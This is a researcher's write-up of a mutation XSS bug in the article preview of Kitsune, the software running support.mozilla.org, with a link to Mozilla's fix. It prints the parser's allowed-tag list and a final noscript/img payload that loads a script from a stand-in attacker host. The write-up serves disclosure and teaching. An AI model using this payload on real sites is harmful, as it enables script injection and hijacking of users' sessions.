by Guilherme Keerok

This is another bug that was discovered during @duphouse, and was the result of a collaboration with @lbherrera.

It was found on Kitsune, which is an open-source software that runs SUMO (support.mozilla.org), and provides support for Firefox and other Mozilla software.

It works similarly to a wiki, containing several functionalities for users to create, read or edit articles.

During the tests, the preview functionality caught our attention, as it allowed users to preview their changes to the article before submitting it - and more interestingly - it was also allowing a small subset of HTML tags to be included that got rendered inside the page.

Initially, as the focus was to achieve XSS, we thought a bypass to bleach would be needed as it is an allowed-list-based HTML sanitizing library maintained by Mozilla and commonly used in Mozilla services, but that quickly proved to be far from the truth as we began to investigate Kitsune’s source code.

Excerpt from /kitsune/sumo/static/sumo/js/ajaxpreview.js

From the code above, there are three points worth highlighting to understand how the application works:

  1. Line 43, which triggers the get-preview bind when the user clicks on the preview button.
  2. Line 59, which makes a POST request to previewUrl (more about this later), sending the content you are trying to preview in the body, and then triggers the show-preview bind with its response.
  3. Line 70, which renders the response inside an element through the use of JQuery’s html function (this is generally unsafe).

After a quick lookup in the source, we found where previewUrl was pointing to, as well as what was being done with the response.

After going down the rabbit hole, we found that Kitsune’s parser was using a list of allowed HTML tags that could be used to do an mXSS attack (since the allowed attributes list didn’t have anything interesting).

>>> from wikimarkup.parser import ALLOWED_TAGS
>>> ALLOWED_TAGS
['br', 'hr', 'img', 'source', 'b', 'del', 'i', 'ins', 'u', 'font', 'big', 'small', 'sub', 'sup', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'cite', 'code', 'em', 's', 'strike', 'strong', 'tt', 'var', 'div', 'center', 'blockquote', 'ol', 'ul', 'dl', 'table', 'caption', 'pre', 'p', 'span', 'u', 'li', 'dd', 'dt', 'video', 'section', 'noscript', 'table', 'tr', 'td', 'th', 'div', 'blockquote', 'ol', 'ul', 'dl', 'font', 'big', 'small', 'sub', 'sup', 'span', 'img', 'tbody', 'thead', 'tfoot', 'colgroup', 'col', 'section', 'a']

After that, it was only a matter of playing with the tags and attributes until getting a payload that was allowed by Kitsune’s parser, but that when rendered through JQuery’s html function would be mutated and execute arbitrary javascript.

The final payload used was: <noscript><noscript alt="<img><script src="//attacker。com/alert.js"

PoC video:

A side note: this vulnerability was ineligible from Mozilla’s bug bounty program since the domain isn’t part of their scope, but it was an interesting finding anyhow.

You can see all the changes made by Mozilla to fix the issue here: https://github.com/mozilla/kitsune/commit/395ebf68f762d893ba73e679fc7083e9e7e6e508